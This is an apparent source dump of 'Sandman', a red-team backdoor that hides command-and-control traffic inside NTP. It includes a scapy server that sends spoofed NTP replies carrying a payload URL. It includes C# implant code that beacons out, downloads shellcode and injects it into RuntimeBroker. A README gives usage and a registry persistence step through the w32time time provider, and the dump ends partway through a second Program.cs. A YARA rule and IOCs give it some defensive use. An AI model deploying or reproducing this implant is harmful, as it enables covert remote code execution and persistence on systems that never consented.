├── SandmanServer ├── requirements.txt └── sandman_server.py ├── images └── sandman.png ├── SandmanBackdoorTimeProvider ├── SandmanBackdoorTimeProvider │ ├── packages.config │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── Win32Helper.cs │ ├── Program.cs │ ├── SandmanBackdoorTimeProvider.csproj │ └── Injector.cs ├── SandmanBackdoorTimeProvider.sln ├── .gitignore └── DllExport.bat ├── SandmanBackdoor ├── Sandman │ ├── App.config │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── Win32Helper.cs │ ├── SandmanBackdoor.csproj │ ├── Program.cs │ └── Injector.cs ├── SandmanBackdoor.sln └── .gitignore ├── Sandman.yara ├── README.md └── LICENSE /SandmanServer/requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | -------------------------------------------------------------------------------- /images/sandman.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Idov31/Sandman/HEAD/images/sandman.png -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Sandman")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Sandman")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e9f7c24c-879d-49f2-b9bf-2477dc28e2ee")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SandmanBackdoor/SandmanBackdoor.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32616.157 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SandmanBackdoor", "Sandman\SandmanBackdoor.csproj", "{E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Debug|x64.ActiveCfg = Debug|x64 19 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Debug|x64.Build.0 = Debug|x64 20 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Release|x64.ActiveCfg = Release|x64 23 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7E55EB01-93DE-447D-A8E0-3C47089F2347} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SandmanBackdoorTimeProvider")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SandmanBackdoorTimeProvider")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b362ec25-70bd-4e6c-9744-173d20fda392")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32804.467 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SandmanBackdoorTimeProvider", "SandmanBackdoorTimeProvider\SandmanBackdoorTimeProvider.csproj", "{B362EC25-70BD-4E6C-9744-173D20FDA392}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Debug|x64.ActiveCfg = Debug|x64 19 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Debug|x64.Build.0 = Debug|x64 20 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Release|x64.ActiveCfg = Release|x64 23 | {B362EC25-70BD-4E6C-9744-173D20FDA392}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5F7D39A0-6F7C-4784-A47B-A18EDA1D6ED7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Sandman.yara: -------------------------------------------------------------------------------- 1 | /* 2 | YARA Rule Set 3 | Author: Ido Veltzman 4 | Date: 2022-09-12 5 | Reference: https://github.com/Idov31/Sandman 6 | */ 7 | 8 | /* Rule Set ----------------------------------------------------------------- */ 9 | 10 | rule Sandman { 11 | meta: 12 | description = "Sandman - NTP Backdoor" 13 | author = "Ido Veltzman" 14 | reference = "https://github.com/Idov31/Sandman" 15 | date = "2022-09-12" 16 | 17 | strings: 18 | $shellcode = { 48 83 ec 38 68 64 6c 6c 00 48 b8 77 69 6e 69 6e 65 74 2e 50 48 8b cc 48 83 ec 20 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 83 c4 30 68 74 73 65 74 6a 00 48 8b cc 33 d2 45 33 c0 45 33 c9 48 c7 44 24 20 00 00 00 00 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 89 44 24 30 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 44 00 80 45 33 c9 45 33 c0 48 ba ?? ?? ?? ?? ?? ?? ?? ?? 48 8b 4c 24 30 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 89 44 24 28 41 b9 40 00 00 00 41 b8 00 30 00 00 ba ?? ?? ?? ?? 33 c9 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 89 44 24 20 4c 8b cc 41 b8 ?? ?? ?? ?? 48 8b 54 24 20 48 8b 4c 24 28 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 8b 4c 24 28 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 8b 4c 24 30 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff d0 48 8b 44 24 20 ff d0 48 83 c4 38 c3 } 19 | $s1 = "InjectShellcode" fullword ascii 20 | $s2 = "Sandman.exe" fullword wide 21 | $s3 = "shellcode" fullword ascii 22 | $s4 = "rawShellcode" fullword ascii 23 | $s5 = "PatchShellcode" fullword ascii 24 | $s6 = "Failed to write to process memory" fullword wide 25 | $s7 = "payloadUrlAddress" fullword ascii 26 | $s8 = "payloadUrl" fullword ascii 27 | $s9 = "ntpPort" fullword ascii 28 | $s10 = "ntpData" fullword ascii 29 | $s11 = "INTERNETREADFILE_OFFSET" fullword ascii 30 | $s12 = "time.windows.com" fullword ascii 31 | $s13 = "ntpServerAddress" fullword ascii 32 | $s14 = "Wininet.dll" fullword ascii 33 | $s15 = "INTERNETOPENA_OFFSET" fullword ascii 34 | $s16 = "INTERNETOPENURLA_OFFSET" fullword ascii 35 | $s17 = "VIRTUALALLOC_OFFSET" fullword ascii 36 | $s18 = "LOADLIBRARYA_OFFSET" fullword ascii 37 | $s19 = "INTERNETCLOSEHANDLE_OFFSET" ascii 38 | $s20 = "URL_OFFSET" fullword ascii 39 | 40 | condition: 41 | uint16(0) == 0x5a4d and filesize < 30KB and 42 | 10 of ($s*) and $shellcode 43 | } -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/Win32Helper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Sandman 5 | { 6 | internal class Win32Helper 7 | { 8 | public const UInt32 INFINITE = 0xFFFFFFFF; 9 | 10 | [Flags] 11 | public enum AllocationType 12 | { 13 | NULL = 0x0, 14 | Commit = 0x1000, 15 | Reserve = 0x2000, 16 | Decommit = 0x4000, 17 | Release = 0x8000, 18 | Reset = 0x80000, 19 | Physical = 0x400000, 20 | TopDown = 0x100000, 21 | WriteWatch = 0x200000, 22 | LargePages = 0x20000000 23 | } 24 | 25 | public enum MemoryProtection : UInt32 26 | { 27 | PAGE_EXECUTE = 0x00000010, 28 | PAGE_EXECUTE_READ = 0x00000020, 29 | PAGE_EXECUTE_READWRITE = 0x00000040, 30 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 31 | PAGE_NOACCESS = 0x00000001, 32 | PAGE_READONLY = 0x00000002, 33 | PAGE_READWRITE = 0x00000004, 34 | PAGE_WRITECOPY = 0x00000008, 35 | PAGE_GUARD = 0x00000100, 36 | PAGE_NOCACHE = 0x00000200, 37 | PAGE_WRITECOMBINE = 0x00000400 38 | } 39 | 40 | public enum ThreadCreationFlags : UInt32 41 | { 42 | NORMAL = 0x0, 43 | CREATE_SUSPENDED = 0x00000004, 44 | STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000 45 | } 46 | 47 | [DllImport("kernel32.dll")] 48 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); 49 | 50 | [DllImport("kernel32.dll")] 51 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 52 | 53 | [DllImport("kernel32.dll")] 54 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); 55 | 56 | [DllImport("kernel32.dll")] 57 | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId); 58 | 59 | [DllImport("kernel32")] 60 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 61 | 62 | [DllImport("kernel32.dll")] 63 | public static extern IntPtr GetModuleHandleA(string lpModuleName); 64 | 65 | [DllImport("kernel32.dll")] 66 | public static extern IntPtr LoadLibraryA(string lpFileName); 67 | 68 | [DllImport("kernel32.dll")] 69 | public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/Win32Helper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SandmanBackdoorTimeProvider 5 | { 6 | internal class Win32Helper 7 | { 8 | public const UInt32 INFINITE = 0xFFFFFFFF; 9 | 10 | [Flags] 11 | public enum AllocationType 12 | { 13 | NULL = 0x0, 14 | Commit = 0x1000, 15 | Reserve = 0x2000, 16 | Decommit = 0x4000, 17 | Release = 0x8000, 18 | Reset = 0x80000, 19 | Physical = 0x400000, 20 | TopDown = 0x100000, 21 | WriteWatch = 0x200000, 22 | LargePages = 0x20000000 23 | } 24 | 25 | public const uint HRESULT_ERROR_NOT_CAPABLE = 0x80070307; 26 | public const uint HRESULT_S_OK = 0x0000; 27 | 28 | public enum MemoryProtection : UInt32 29 | { 30 | PAGE_EXECUTE = 0x00000010, 31 | PAGE_EXECUTE_READ = 0x00000020, 32 | PAGE_EXECUTE_READWRITE = 0x00000040, 33 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 34 | PAGE_NOACCESS = 0x00000001, 35 | PAGE_READONLY = 0x00000002, 36 | PAGE_READWRITE = 0x00000004, 37 | PAGE_WRITECOPY = 0x00000008, 38 | PAGE_GUARD = 0x00000100, 39 | PAGE_NOCACHE = 0x00000200, 40 | PAGE_WRITECOMBINE = 0x00000400 41 | } 42 | 43 | public enum ThreadCreationFlags : UInt32 44 | { 45 | NORMAL = 0x0, 46 | CREATE_SUSPENDED = 0x00000004, 47 | STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000 48 | } 49 | 50 | [DllImport("kernel32.dll")] 51 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); 52 | 53 | [DllImport("kernel32.dll")] 54 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 55 | 56 | [DllImport("kernel32.dll")] 57 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); 58 | 59 | [DllImport("kernel32.dll")] 60 | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId); 61 | 62 | [DllImport("kernel32")] 63 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 64 | 65 | [DllImport("kernel32.dll")] 66 | public static extern IntPtr GetModuleHandleA(string lpModuleName); 67 | 68 | [DllImport("kernel32.dll")] 69 | public static extern IntPtr LoadLibraryA(string lpFileName); 70 | 71 | [DllImport("kernel32.dll")] 72 | public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/SandmanBackdoor.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E9F7C24C-879D-49F2-B9BF-2477DC28E2EE} 8 | Exe 9 | Sandman 10 | Sandman 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sandman 2 | 3 | ![Image](https://img.shields.io/badge/C%23-239120?style=for-the-badge&logo=c-sharp&logoColor=white") ![image](https://img.shields.io/badge/Python-3776AB?style=for-the-badge&logo=python&logoColor=white) ![image](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white) 4 | 5 | Sandman is a backdoor that is meant to work on hardened networks during red team engagements. 6 | 7 | Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary **shellcode** from a pre-defined server. 8 | 9 | Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility. 10 | 11 | ## Usage 12 | 13 | ![Sandman](images/sandman.png) 14 | 15 | ### SandmanServer (Usage) 16 | 17 | Run on windows / *nix machine: 18 | 19 | ```sh 20 | python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof" 21 | ``` 22 | 23 | - Network Adapter: The adapter that you want the server to listen on (for example Ethernet for Windows, eth0 for *nix). 24 | 25 | - Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike or meterpreter) or another stager. 26 | 27 | - IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address). 28 | 29 | ### SandmanBackdoor (Usage) 30 | 31 | To start, you can compile the SandmanBackdoor as [mentioned below](#setup), because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it. 32 | 33 | ### SandmanBackdoorTimeProvider (Usage) 34 | 35 | To use it, you will need to follow simple steps: 36 | 37 | - Add the following registry value: 38 | 39 | ```bat 40 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll" 41 | ``` 42 | 43 | - Restart the w32time service: 44 | 45 | ```bat 46 | sc stop w32time 47 | sc start w32time 48 | ``` 49 | 50 | **NOTE: Make sure you are compiling with the x64 option and not any CPU option!** 51 | 52 | ## Capabilities 53 | 54 | - Getting and executing an arbitrary payload from an attacker's controlled server. 55 | 56 | - Can work on hardened networks since NTP is usually allowed in FW. 57 | 58 | - Impersonating a legitimate NTP server via IP spoofing. 59 | 60 | ## Setup 61 | 62 | ### SandmanServer (Setup) 63 | 64 | - Python 3.9 65 | 66 | - The requirements are specified in the [requirements](/SandmanServer/requirements.txt) file. 67 | 68 | ### SandmanBackdoor (Setup) 69 | 70 | To compile the backdoor I used Visual Studio 2022, but as mentioned in the [usage section](#usage) it can be compiled with both VS2022 and CSC. 71 | You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. 72 | 73 | ### SandmanBackdoorTimeProvider (Setup) 74 | 75 | To compile the backdoor I used Visual Studio 2022, you will also need to install [DllExport](https://github.com/3F/DllExport) (via Nuget or any other way) to compile it. 76 | You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. 77 | 78 | ## IOCs 79 | 80 | - A shellcode is injected into RuntimeBroker. 81 | 82 | - Suspicious NTP communication starts with a known magic header. 83 | 84 | - YARA rule. 85 | 86 | ## Contributes 87 | 88 | - [Orca](https://github.com/ORCx41/) for the shellcode. 89 | 90 | - Special thanks to [Tim McGuffin](https://twitter.com/NotMedic) for the [time provider idea](https://twitter.com/NotMedic/status/1561354598744473601). 91 | 92 | Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it! 93 | -------------------------------------------------------------------------------- /SandmanServer/sandman_server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import scapy.all as scapy 3 | from scapy.layers.ntp import NTP 4 | from scapy.layers.inet import IP, UDP 5 | 6 | from time import sleep 7 | 8 | PAYLOAD_SIZE = 0x110 # Replace with the real size of your shellcode! 9 | DEFAULT_NTP_MESSAGE_SIZE = 48 10 | NTP_PORT = 123 11 | SLEEP = 1 12 | START_MALICIOUS_MAGIC = 1 13 | END_MALICIOUS_MAGIC = 7 14 | MALICIOUS_MAGIC = b"IDOV31" 15 | SCAPY_NTP_FILTER = "udp and port 123" 16 | 17 | 18 | def send_data(data: str, ip_packet, spoofed_ip = ""): 19 | payload = f"\x1b{MALICIOUS_MAGIC.decode()}{data}".encode() 20 | 21 | if not spoofed_ip: 22 | spoofed_ip = ip_packet.dst 23 | 24 | if len(payload) > DEFAULT_NTP_MESSAGE_SIZE: 25 | amount_of_messages = int(len(payload) / DEFAULT_NTP_MESSAGE_SIZE) + 1 26 | payload = f"\x1b{MALICIOUS_MAGIC.decode()}{amount_of_messages}".encode() 27 | chunk_size = DEFAULT_NTP_MESSAGE_SIZE - len(f"\x1b{MALICIOUS_MAGIC.decode()}") 28 | 29 | if len(payload) < DEFAULT_NTP_MESSAGE_SIZE: 30 | payload += b"\x00" * (DEFAULT_NTP_MESSAGE_SIZE - len(payload)) 31 | 32 | scapy.send(IP(src=spoofed_ip, dst=ip_packet.src) / UDP(dport=ip_packet.sport, sport=NTP_PORT) / (payload), verbose=0) 33 | 34 | for i in range(0, len(data), chunk_size): 35 | sleep(SLEEP) 36 | payload = f"\x1b{MALICIOUS_MAGIC.decode()}{data[i:i+chunk_size]}".encode() 37 | 38 | if len(payload) < DEFAULT_NTP_MESSAGE_SIZE: 39 | payload += b"\x00" * (DEFAULT_NTP_MESSAGE_SIZE - len(payload)) 40 | scapy.send(IP(src=spoofed_ip, dst=ip_packet.src) / UDP(dport=ip_packet.sport, sport=NTP_PORT) / (payload), verbose=0) 41 | else: 42 | if len(payload) < DEFAULT_NTP_MESSAGE_SIZE: 43 | payload += b"\x00" * (DEFAULT_NTP_MESSAGE_SIZE - len(payload)) 44 | scapy.send(IP(src=spoofed_ip, dst=ip_packet.src) / UDP(dport=ip_packet.sport, sport=NTP_PORT) / (payload), verbose=0) 45 | 46 | 47 | def main(): 48 | spoofed_ip = "" 49 | payload_size = f"\x1b{MALICIOUS_MAGIC.decode()}{PAYLOAD_SIZE}".encode() 50 | 51 | if (len(sys.argv) == 4): 52 | spoofed_ip = sys.argv[3] 53 | 54 | # Sending payload size. 55 | if len(payload_size) > DEFAULT_NTP_MESSAGE_SIZE: 56 | print("[ - ] Payload size is too big.") 57 | sys.exit(1) 58 | elif len(payload_size) < DEFAULT_NTP_MESSAGE_SIZE: 59 | payload_size += b"\x00" * (DEFAULT_NTP_MESSAGE_SIZE - len(payload_size)) 60 | 61 | # Sniffing NTP packets. 62 | while True: 63 | packet = scapy.sniff(iface=sys.argv[1], count=1, filter=SCAPY_NTP_FILTER) 64 | 65 | if packet: 66 | ntp_packet = packet[0][NTP] 67 | ip_packet = packet[0][IP] 68 | raw_packet = scapy.raw(ntp_packet) 69 | 70 | # If got a malicious packet - Activate the backdoor! 71 | if raw_packet[START_MALICIOUS_MAGIC:END_MALICIOUS_MAGIC] == MALICIOUS_MAGIC: 72 | print("[ + ] Got a packet from the backdoor!\n[ ! ] Entering sandman...") 73 | send_data(sys.argv[2], ip_packet, spoofed_ip) 74 | 75 | if spoofed_ip: 76 | scapy.send(IP(src=spoofed_ip, dst=ip_packet.src) / UDP(dport=ip_packet.sport, sport=NTP_PORT) / (payload_size), verbose=0) 77 | else: 78 | scapy.send(IP(dst=ip_packet.src) / UDP(dport=ip_packet.sport, sport=NTP_PORT) / (payload_size), verbose=0) 79 | print(f"[ + ] Activated the backdoor for {ip_packet.src}!") 80 | sleep(SLEEP) 81 | 82 | def print_banner(): 83 | print(""" 84 | _____ _ 85 | / ____| | | 86 | | (___ __ _ _ __ __| |_ __ ___ __ _ _ __ 87 | \___ \ / _` | '_ \ / _` | '_ ` _ \ / _` | '_ \ 88 | ____) | (_| | | | | (_| | | | | | | (_| | | | | 89 | |_____/ \__,_|_| |_|\__,_|_| |_| |_|\__,_|_| |_| 90 | """) 91 | 92 | if __name__ == "__main__": 93 | print_banner() 94 | 95 | if (len(sys.argv) != 3 and len(sys.argv) != 4): 96 | print(f"[ - ] Usage: {sys.argv[0]} ") 97 | sys.exit(1) 98 | main() 99 | -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Net; 4 | using System.Net.Sockets; 5 | using System.Threading; 6 | 7 | namespace Sandman 8 | { 9 | internal class Program 10 | { 11 | private const int defaultNtpMessageSize = 48; 12 | // private const string ntpServer = "time.windows.com"; 13 | private const string ntpServer = "192.168.230.1"; 14 | private const int ntpPort = 123; 15 | private const int timeout = 5000; 16 | private const int sleep = 2000; 17 | private static bool keepRunning = true; 18 | 19 | static void Main(string[] args) { 20 | IPAddress ntpServerAddress; 21 | var signature = new byte[] { 0x49, 0x44, 0x4f, 0x56, 0x33, 0x31 }; 22 | 23 | // If using a DNS name: Getting the ip address. 24 | if (!IPAddress.TryParse(ntpServer, out ntpServerAddress)) 25 | { 26 | ntpServerAddress = Dns.GetHostEntry(ntpServer).AddressList[0]; 27 | } 28 | var ipEndPoint = new IPEndPoint(ntpServerAddress, ntpPort); 29 | 30 | while (keepRunning) 31 | { 32 | CheckIn(ipEndPoint, signature); 33 | Thread.Sleep(sleep); 34 | } 35 | } 36 | 37 | static void CheckIn(IPEndPoint ipEndPoint, byte[] signature) 38 | { 39 | var ntpData = new byte[defaultNtpMessageSize]; 40 | Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); 41 | 42 | // A required value for legit NTP packet. 43 | ntpData[0] = 0x1B; 44 | 45 | // Adding the malicious signature. 46 | Array.Copy(signature, 0, ntpData, 1, 6); 47 | 48 | // Sending a request. 49 | try 50 | { 51 | socket.Connect(ipEndPoint); 52 | socket.ReceiveTimeout = timeout; 53 | socket.Send(ntpData); 54 | socket.Receive(ntpData); 55 | 56 | // If a waking call found - download & execute the payload. 57 | if (signature.All(x => ntpData.Contains(x))) 58 | { 59 | int amountOfPackets = 0; 60 | string data = ""; 61 | string payloadUrl = ""; 62 | string szPayloadSize = ""; 63 | int payloadSize = 0; 64 | 65 | for (int i = signature.Length + 1; i < ntpData.Length; i++) 66 | { 67 | if (ntpData[i] == 0x00) 68 | break; 69 | data += (char)ntpData[i]; 70 | } 71 | 72 | if (int.TryParse(data, out amountOfPackets)) 73 | { 74 | for (int i = 0; i < amountOfPackets; i++) 75 | { 76 | socket.Receive(ntpData); 77 | 78 | for (int j = signature.Length + 1; j < ntpData.Length; j++) 79 | { 80 | if (ntpData[j] == 0x00) 81 | break; 82 | payloadUrl += (char)ntpData[j]; 83 | } 84 | } 85 | } 86 | else 87 | payloadUrl = data; 88 | 89 | // Getting and validating the payload size. 90 | socket.Receive(ntpData); 91 | 92 | for (int i = signature.Length + 1; i < ntpData.Length; i++) 93 | { 94 | if (ntpData[i] == 0x00) 95 | break; 96 | szPayloadSize += (char)ntpData[i]; 97 | } 98 | 99 | if (!int.TryParse(szPayloadSize, out payloadSize)) 100 | return; 101 | 102 | // Injecting and executing the shellcode. 103 | if (Injector.InjectShellcode(payloadUrl, payloadSize, "RuntimeBroker")) 104 | keepRunning = false; 105 | } 106 | } 107 | catch (SocketException) 108 | { } 109 | finally 110 | { 111 | if (socket.Connected) 112 | { 113 | socket.Close(); 114 | } 115 | } 116 | } 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Net.Sockets; 4 | using System.Net; 5 | using System.Threading; 6 | using 